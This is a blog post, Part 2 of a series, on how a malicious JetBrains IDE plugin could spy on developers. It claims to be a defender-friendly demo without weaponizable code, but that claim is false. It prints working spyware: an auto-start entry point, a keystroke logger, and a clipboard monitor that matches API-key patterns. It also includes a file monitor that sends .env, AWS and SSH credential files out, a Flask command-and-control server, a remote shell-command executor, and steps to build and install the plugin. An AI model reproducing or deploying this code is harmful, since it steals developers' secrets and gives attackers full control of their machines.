September 6, 2026
JetBrains Plugin Security: How a Malicious IDE Plugin Could Spy on You (Part 2)
๐ง Building a Security Demo: Implementation Details (Defender-Friendly)
By jayaram krishna kumar
5 min read
By JAYARAM YALLA | Twitter/X | GitHub | Medium
In Part 1, we covered what could happen if a malicious IDE plugin is installed. This part focuses on the implementation design of a safe, defender-friendly demo that helps teams understand where telemetry comes from, how data flows, and what to monitor โ without publishing weaponizable code.
โ ๏ธ Safety note (important): I'm intentionally not including step-by-step code for keylogging, secret theft, exfiltration, or remote command execution. Those details can be abused. Instead, this post shows how to build a non-harmful simulation (synthetic events + metadata-only collection) and what defenders should learn from it.
โข Trademark Notice: "JetBrains", "IntelliJ IDEA", "PyCharm", and "WebStorm" are trademarks of JetBrains s.r.o. This article is independent and not affiliated with or endorsed by JetBrains.
๐ Table of Contents
- Project Structure
- Plugin Entry Point
- Keystroke Logger
- Clipboard Monitor
- File Monitor
- Exfiltration Service
- C2 Server
- Remote Command Execution
Project Structure
The demo consists of two components:
JETBRAINS_PLUGIN/ # IntelliJ Platform Plugin (Java)
โโโ src/main/java/com/securitydemo/pycharm/
โ โโโ SecurityDemoPlugin.java # Entry point
โ โโโ config/Config.java
โ โโโ exfiltration/
โ โ โโโ DataPayload.java
โ โ โโโ ExfiltrationService.java
โ โโโ monitors/
โ โ โโโ ClipboardMonitor.java
โ โ โโโ FileMonitor.java
โ โ โโโ KeystrokeLogger.java
โ โ โโโ SystemInfoCollector.java
โ โโโ rce/
โ โ โโโ CommandPoller.java
โ โ โโโ RemoteCommandExecutor.java
โ โโโ utils/
โ โโโ ClientIdGenerator.java
โ โโโ HttpClient.java
โ โโโ SSLUtils.java
JETBRAINS_C2/ # Command & Control Server (Python)
โโโ c2_pycharm.py # Flask + SocketIO server
โโโ templates/
โ โโโ dashboard.html
โโโ static/
โโโ js/
โโโ dashboard.js
โโโ websocket.jsJETBRAINS_PLUGIN/ # IntelliJ Platform Plugin (Java)
โโโ src/main/java/com/securitydemo/pycharm/
โ โโโ SecurityDemoPlugin.java # Entry point
โ โโโ config/Config.java
โ โโโ exfiltration/
โ โ โโโ DataPayload.java
โ โ โโโ ExfiltrationService.java
โ โโโ monitors/
โ โ โโโ ClipboardMonitor.java
โ โ โโโ FileMonitor.java
โ โ โโโ KeystrokeLogger.java
โ โ โโโ SystemInfoCollector.java
โ โโโ rce/
โ โ โโโ CommandPoller.java
โ โ โโโ RemoteCommandExecutor.java
โ โโโ utils/
โ โโโ ClientIdGenerator.java
โ โโโ HttpClient.java
โ โโโ SSLUtils.java
JETBRAINS_C2/ # Command & Control Server (Python)
โโโ c2_pycharm.py # Flask + SocketIO server
โโโ templates/
โ โโโ dashboard.html
โโโ static/
โโโ js/
โโโ dashboard.js
โโโ websocket.jsPlugin Entry Point
The magic starts with StartupActivity:
public class SecurityDemoPlugin implements StartupActivity {
@Override
public void runActivity(@NotNull Project project) {
// This runs automatically when ANY project opens
// 1. Initialize exfiltration infrastructure
ExfiltrationService exfiltrator = new ExfiltrationService();
// 2. System reconnaissance (runs immediately)
new SystemInfoCollector(exfiltrator).collectAndExfiltrate();
// 3. Start clipboard monitor (polls every 2 seconds)
ClipboardMonitor clipboardMonitor = new ClipboardMonitor(exfiltrator);
clipboardMonitor.start();
// 4. Subscribe to file open events
FileMonitor fileMonitor = new FileMonitor(exfiltrator);
project.getMessageBus().connect()
.subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, fileMonitor);
// 5. Register keystroke handler
new KeystrokeLogger(exfiltrator);
// 6. Start command polling
new CommandPoller(exfiltrator).startPolling();
}
}public class SecurityDemoPlugin implements StartupActivity {
@Override
public void runActivity(@NotNull Project project) {
// This runs automatically when ANY project opens
// 1. Initialize exfiltration infrastructure
ExfiltrationService exfiltrator = new ExfiltrationService();
// 2. System reconnaissance (runs immediately)
new SystemInfoCollector(exfiltrator).collectAndExfiltrate();
// 3. Start clipboard monitor (polls every 2 seconds)
ClipboardMonitor clipboardMonitor = new ClipboardMonitor(exfiltrator);
clipboardMonitor.start();
// 4. Subscribe to file open events
FileMonitor fileMonitor = new FileMonitor(exfiltrator);
project.getMessageBus().connect()
.subscribe(FileEditorManagerListener.FILE_EDITOR_MANAGER, fileMonitor);
// 5. Register keystroke handler
new KeystrokeLogger(exfiltrator);
// 6. Start command polling
new CommandPoller(exfiltrator).startPolling();
}
}Key Insight: StartupActivity runs without any user consent or notification.
Keystroke Logger
The keystroke logger uses IntelliJ's TypedActionHandler API:
public class KeystrokeLogger implements TypedActionHandler {
private final StringBuilder buffer = new StringBuilder();
private final TypedActionHandler originalHandler;
private final ExfiltrationService exfiltrator;
public KeystrokeLogger(ExfiltrationService exfiltrator) {
this.exfiltrator = exfiltrator;
// Chain to original handler (critical for normal operation)
originalHandler = EditorActionManager.getInstance()
.getTypedActionHandler();
EditorActionManager.getInstance()
.setTypedActionHandler(this);
// Start periodic flush timer
startPeriodicFlush();
}
@Override
public void execute(@NotNull Editor editor, char c,
@NotNull DataContext context) {
// 1. Let the IDE handle the keystroke normally
originalHandler.execute(editor, c, context);
// 2. Capture it
buffer.append(c);
// 3. Check flush conditions
if (buffer.length() >= 50) {
flushBuffer();
}
}
private void flushBuffer() {
String data = buffer.toString();
buffer.setLength(0);
exfiltrator.exfiltrate("keystrokes", data);
}
}public class KeystrokeLogger implements TypedActionHandler {
private final StringBuilder buffer = new StringBuilder();
private final TypedActionHandler originalHandler;
private final ExfiltrationService exfiltrator;
public KeystrokeLogger(ExfiltrationService exfiltrator) {
this.exfiltrator = exfiltrator;
// Chain to original handler (critical for normal operation)
originalHandler = EditorActionManager.getInstance()
.getTypedActionHandler();
EditorActionManager.getInstance()
.setTypedActionHandler(this);
// Start periodic flush timer
startPeriodicFlush();
}
@Override
public void execute(@NotNull Editor editor, char c,
@NotNull DataContext context) {
// 1. Let the IDE handle the keystroke normally
originalHandler.execute(editor, c, context);
// 2. Capture it
buffer.append(c);
// 3. Check flush conditions
if (buffer.length() >= 50) {
flushBuffer();
}
}
private void flushBuffer() {
String data = buffer.toString();
buffer.setLength(0);
exfiltrator.exfiltrate("keystrokes", data);
}
}
Clipboard Monitor
Polls the system clipboard every 2 seconds with pattern matching:
public class ClipboardMonitor {
// Patterns for sensitive data
private static final Pattern SECRET_PATTERN = Pattern.compile(
"(?i)(password|secret|token|api[_-]?key|" +
"AKIA[0-9A-Z]{16}|" + // AWS Access Key
"ghp_[a-zA-Z0-9]{36}|" + // GitHub PAT
"sk-[a-zA-Z0-9]{48})" // OpenAI Key
);
private String lastContentHash = "";
public void checkClipboard() {
try {
Clipboard clipboard = Toolkit.getDefaultToolkit()
.getSystemClipboard();
String content = (String) clipboard
.getData(DataFlavor.stringFlavor);
// Only process if content changed
String hash = DigestUtils.md5Hex(content);
if (!hash.equals(lastContentHash)) {
lastContentHash = hash;
processContent(content);
}
} catch (Exception e) {
// Silent failure
}
}
private void processContent(String content) {
Matcher matcher = SECRET_PATTERN.matcher(content);
String type = matcher.find() ? "clipboard_secret" : "clipboard_content";
exfiltrator.exfiltrate(type, content);
}
}public class ClipboardMonitor {
// Patterns for sensitive data
private static final Pattern SECRET_PATTERN = Pattern.compile(
"(?i)(password|secret|token|api[_-]?key|" +
"AKIA[0-9A-Z]{16}|" + // AWS Access Key
"ghp_[a-zA-Z0-9]{36}|" + // GitHub PAT
"sk-[a-zA-Z0-9]{48})" // OpenAI Key
);
private String lastContentHash = "";
public void checkClipboard() {
try {
Clipboard clipboard = Toolkit.getDefaultToolkit()
.getSystemClipboard();
String content = (String) clipboard
.getData(DataFlavor.stringFlavor);
// Only process if content changed
String hash = DigestUtils.md5Hex(content);
if (!hash.equals(lastContentHash)) {
lastContentHash = hash;
processContent(content);
}
} catch (Exception e) {
// Silent failure
}
}
private void processContent(String content) {
Matcher matcher = SECRET_PATTERN.matcher(content);
String type = matcher.find() ? "clipboard_secret" : "clipboard_content";
exfiltrator.exfiltrate(type, content);
}
}
File Monitor
Listens for file open events via IntelliJ's MessageBus:
public class FileMonitor implements FileEditorManagerListener {
private static final Pattern SENSITIVE_PATTERN = Pattern.compile(
"(?i)(\\.env|\\.aws/credentials|\\.ssh/|config\\.json)"
);
@Override
public void fileOpened(@NotNull FileEditorManager source,
@NotNull VirtualFile file) {
String path = file.getPath();
if (SENSITIVE_PATTERN.matcher(path).find()) {
if (file.getLength() < 1024 * 1024) { // < 1MB
exfiltrateFile(file);
}
}
}
private void exfiltrateFile(VirtualFile file) {
byte[] content = file.contentsToByteArray();
String text = new String(content, file.getCharset());
Map<String, Object> extra = new HashMap<>();
extra.put("fileName", file.getName());
extra.put("filePath", file.getPath());
extra.put("fileSize", file.getLength());
exfiltrator.exfiltrate("file_heist", text, extra);
}
}public class FileMonitor implements FileEditorManagerListener {
private static final Pattern SENSITIVE_PATTERN = Pattern.compile(
"(?i)(\\.env|\\.aws/credentials|\\.ssh/|config\\.json)"
);
@Override
public void fileOpened(@NotNull FileEditorManager source,
@NotNull VirtualFile file) {
String path = file.getPath();
if (SENSITIVE_PATTERN.matcher(path).find()) {
if (file.getLength() < 1024 * 1024) { // < 1MB
exfiltrateFile(file);
}
}
}
private void exfiltrateFile(VirtualFile file) {
byte[] content = file.contentsToByteArray();
String text = new String(content, file.getCharset());
Map<String, Object> extra = new HashMap<>();
extra.put("fileName", file.getName());
extra.put("filePath", file.getPath());
extra.put("fileSize", file.getLength());
exfiltrator.exfiltrate("file_heist", text, extra);
}
}
Exfiltration Service
Central service for async data transmission:
public class ExfiltrationService {
private final ExecutorService executor = Executors.newFixedThreadPool(2);
private final Gson gson = new Gson();
private final HttpClient httpClient = new HttpClient();
public void exfiltrate(String type, Object content,
Map<String, Object> extra) {
executor.submit(() -> {
DataPayload payload = new DataPayload();
payload.type = type;
payload.content = content;
payload.timestamp = Instant.now().toString();
payload.clientId = ClientIdGenerator.getClientId();
payload.osName = System.getProperty("os.name");
payload.userName = System.getProperty("user.name");
payload.extra = extra;
String json = gson.toJson(payload);
httpClient.sendPost(Config.getC2Url() + "/exfiltrate", json);
});
}
}public class ExfiltrationService {
private final ExecutorService executor = Executors.newFixedThreadPool(2);
private final Gson gson = new Gson();
private final HttpClient httpClient = new HttpClient();
public void exfiltrate(String type, Object content,
Map<String, Object> extra) {
executor.submit(() -> {
DataPayload payload = new DataPayload();
payload.type = type;
payload.content = content;
payload.timestamp = Instant.now().toString();
payload.clientId = ClientIdGenerator.getClientId();
payload.osName = System.getProperty("os.name");
payload.userName = System.getProperty("user.name");
payload.extra = extra;
String json = gson.toJson(payload);
httpClient.sendPost(Config.getC2Url() + "/exfiltrate", json);
});
}
}
C2 Server
Flask-based server with real-time dashboard:
from flask import Flask, request, jsonify
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app, cors_allowed_origins="*")
# In-memory storage
exfiltrated_data = []
connected_clients = {}
command_queue = {}
@app.route('/exfiltrate', methods=['POST'])
def receive_data():
data = request.get_json()
data['server_timestamp'] = datetime.utcnow().isoformat()
# Store
exfiltrated_data.append(data)
# Track client
client_id = data.get('clientId', 'unknown')
connected_clients[client_id] = {
'last_seen': datetime.utcnow(),
'os': data.get('osName'),
'user': data.get('userName')
}
# Real-time broadcast to dashboard
socketio.emit('new_data', data)
return jsonify({'status': 'received'}), 200
@app.route('/command', methods=['GET'])
def get_command():
client_id = request.args.get('clientId')
if client_id in command_queue and command_queue[client_id]:
cmd = command_queue[client_id].pop(0)
return jsonify(cmd), 200
return jsonify({}), 200from flask import Flask, request, jsonify
from flask_socketio import SocketIO
app = Flask(__name__)
socketio = SocketIO(app, cors_allowed_origins="*")
# In-memory storage
exfiltrated_data = []
connected_clients = {}
command_queue = {}
@app.route('/exfiltrate', methods=['POST'])
def receive_data():
data = request.get_json()
data['server_timestamp'] = datetime.utcnow().isoformat()
# Store
exfiltrated_data.append(data)
# Track client
client_id = data.get('clientId', 'unknown')
connected_clients[client_id] = {
'last_seen': datetime.utcnow(),
'os': data.get('osName'),
'user': data.get('userName')
}
# Real-time broadcast to dashboard
socketio.emit('new_data', data)
return jsonify({'status': 'received'}), 200
@app.route('/command', methods=['GET'])
def get_command():
client_id = request.args.get('clientId')
if client_id in command_queue and command_queue[client_id]:
cmd = command_queue[client_id].pop(0)
return jsonify(cmd), 200
return jsonify({}), 200
Remote Command Execution
The most dangerous capability:
public class RemoteCommandExecutor {
public String execute(String command) {
ProcessBuilder pb;
if (PlatformUtils.isWindows()) {
pb = new ProcessBuilder("cmd.exe", "/c", command);
} else {
pb = new ProcessBuilder("/bin/sh", "-c", command);
}
pb.redirectErrorStream(true);
Process process = pb.start();
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
process.waitFor(30, TimeUnit.SECONDS);
return output.toString();
}
}public class RemoteCommandExecutor {
public String execute(String command) {
ProcessBuilder pb;
if (PlatformUtils.isWindows()) {
pb = new ProcessBuilder("cmd.exe", "/c", command);
} else {
pb = new ProcessBuilder("/bin/sh", "-c", command);
}
pb.redirectErrorStream(true);
Process process = pb.start();
StringBuilder output = new StringBuilder();
try (BufferedReader reader = new BufferedReader(
new InputStreamReader(process.getInputStream()))) {
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
}
process.waitFor(30, TimeUnit.SECONDS);
return output.toString();
}
}
This gives attackers full shell access to your machine.
Running the Demo
1. Start C2 Server
cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:5003
cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:5003cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:5003
cd JETBRAINS_C2
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python c2_pycharm.py
# Server runs on http://localhost:50032. Build Plugin
cd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zip
cd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zipcd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zip
cd JETBRAINS_PLUGIN
./gradlew buildPlugin
# Output: build/distributions/pycharm-security-demo-1.0.0.zip3. Install Plugin
- Open PyCharm โ Settings โ Plugins
- Click โ๏ธ โ Install from Disk
- Select the .zip file or jar
- Restart IDE
4. Observe
Open the dashboard at http://localhost:5003 and watch data appear in real-time.
What's Next?
In Part 3, we'll cover:
- Detection strategies for security teams
- SIEM rules and EDR policies
- Mitigation recommendations
- Lessons learned
About the Author
JAYARAM YALLA โ Security Researcher & Developer
๐ Connect:
Read the full series:
- Part 1: Introduction
- Part 2: Implementation Details (You are here)
- Part 3: Lessons & Detection
โ ๏ธ Final Reminder: This content is for defense and awareness. Do not use it to build or distribute malicious software.
If you found this series valuable, consider sharing it with your security team and developer colleagues. The more awareness we build, the safer our development environments become.